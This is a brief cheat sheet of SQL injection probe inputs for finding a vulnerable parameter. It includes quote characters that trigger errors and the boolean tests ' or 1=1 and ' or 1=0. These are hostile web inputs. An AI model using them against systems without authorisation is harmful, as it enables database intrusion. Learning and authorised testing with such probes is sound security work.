SQL-Injection-cheat-sheet

First try to figure out vulnerable parameter
NOTE: If it’s a get request don’t forget to url encode the characters.
param=’ –> try to get error
param=” –> try to get error
param=’ or 1=1 –> try if it works
param=’ or 1=0 –> check if it returns nothing
param=’ and 1=1 –> check if this works or produces error